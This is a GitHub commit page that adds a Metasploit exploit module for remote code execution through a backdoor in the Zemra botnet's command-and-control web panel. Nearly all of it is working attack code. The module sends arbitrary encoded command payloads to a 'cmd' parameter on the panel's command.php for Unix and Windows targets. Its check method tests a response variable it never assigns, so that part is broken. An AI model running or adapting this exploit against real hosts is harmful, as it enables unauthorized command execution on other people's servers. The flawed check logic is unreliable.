Skip to content

Commit 5b8f98e

Browse files
committed
Land rapid7#6022, zemra_panel_rce module
2 parents 1f26ec1 + 3391699 commit 5b8f98e

File tree

1 file changed

+88
-0
lines changed

1 file changed

+88
-0
lines changed
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',
16+
'Description' => %q{
17+
This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
18+
inside its leaked source code. Zemra is a crimeware bot that can be used to
19+
conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Jay Turla <@shipcod3>', #Metasploit Module
25+
'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)
26+
'Darren Martyn <@info_dox>' #Initial Discovery
27+
],
28+
'References' =>
29+
[
30+
['URL', 'http://0day.today/exploit/19259'],
31+
['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro
32+
['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']
33+
],
34+
'Privileged' => false,
35+
'Payload' =>
36+
{
37+
'Space' => 10000,
38+
'DisableNops' => true,
39+
'Compat' =>
40+
{
41+
'PayloadType' => 'cmd'
42+
}
43+
},
44+
'Platform' => %w{ unix win },
45+
'Arch' => ARCH_CMD,
46+
'Targets' =>
47+
[
48+
['zemra panel / Unix', { 'Platform' => 'unix' } ],
49+
['zemra panel / Windows', { 'Platform' => 'win' } ]
50+
],
51+
'DisclosureDate' => 'Jun 28 2012',
52+
'DefaultTarget' => 0))
53+
54+
register_options(
55+
[
56+
OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),
57+
],self.class)
58+
end
59+
60+
def check
61+
txt = Rex::Text.rand_text_alpha(8)
62+
http_send_command(txt)
63+
if res && res.body =~ /cmd/
64+
return Exploit::CheckCode::Vulnerable
65+
end
66+
return Exploit::CheckCode::Safe
67+
end
68+
69+
def http_send_command(cmd)
70+
uri = normalize_uri(target_uri.path.to_s)
71+
res = send_request_cgi({
72+
'method' => 'GET',
73+
'uri' => uri,
74+
'vars_get' =>
75+
{
76+
'cmd' => cmd
77+
}
78+
})
79+
unless res && res.code == 200
80+
fail_with(Failure::Unknown, 'Failed to execute the command.')
81+
end
82+
res
83+
end
84+
85+
def exploit
86+
http_send_command(payload.encoded)
87+
end
88+
end

0 commit comments

Comments
 (0)